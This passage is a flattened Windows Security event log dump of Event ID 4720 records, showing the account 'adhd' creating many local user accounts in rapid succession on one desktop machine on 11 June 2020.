Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Alexander - adhd - - - 4720 - 4759 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.6253589Z'/><EventRecordID>4759</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Daniel</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1119</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Daniel</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Daniel - adhd - - - 4720 - 4753 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.5422589Z'/><EventRecordID>4753</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>James</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1118</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>James</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - James - adhd - - - 4720 - 4747 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.4624606Z'/><EventRecordID>4747</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Thomas</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1117</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Thomas</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Thomas - adhd - - - 4720 - 4741 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.3635568Z'/><EventRecordID>4741</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>William</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1116</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>William</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - William - adhd - - - 4720 - 4735 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.2606739Z'/><EventRecordID>4735</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Carol</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1115</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Carol</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Carol - adhd - - - 4720 - 4729 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.1878838Z'/><EventRecordID>4729</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Charles</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1114</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Charles</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Charles - adhd - - - 4720 - 4723 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.0608825Z'/><EventRecordID>4723</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Joseph</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1113</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Joseph</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Joseph - adhd - - - 4720 - 4717 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.9622109Z'/><EventRecordID>4717</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Benjamin</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1112</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Benjamin</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Benjamin - adhd - - - 4720 - 4711 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.8854570Z'/><EventRecordID>4711</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Johnny</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1111</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Johnny</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Johnny - adhd - - - 4720 - 4705 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.8004865Z'/><EventRecordID>4705</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Rose</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1110</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Rose</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Rose - adhd - - - 4720 - 4699 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.7167402Z'/><EventRecordID>4699</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Judy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1109</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Judy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Judy - adhd - - - 4720 - 4693 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.6230396Z'/><EventRecordID>4693</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Bryan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1108</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Bryan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Bryan - adhd - - - 4720 - 4687 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.5247954Z'/><EventRecordID>4687</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kenneth</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1107</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kenneth</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kenneth - adhd - - - 4720 - 4681 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.4468077Z'/><EventRecordID>4681</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Cheryl</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1106</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Cheryl</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Cheryl - adhd - - - 4720 - 4675 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.3423708Z'/><EventRecordID>4675</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Madison</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1105</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Madison</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Madison - adhd - - - 4720 - 4669 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.2301161Z'/><EventRecordID>4669</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Harry</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data 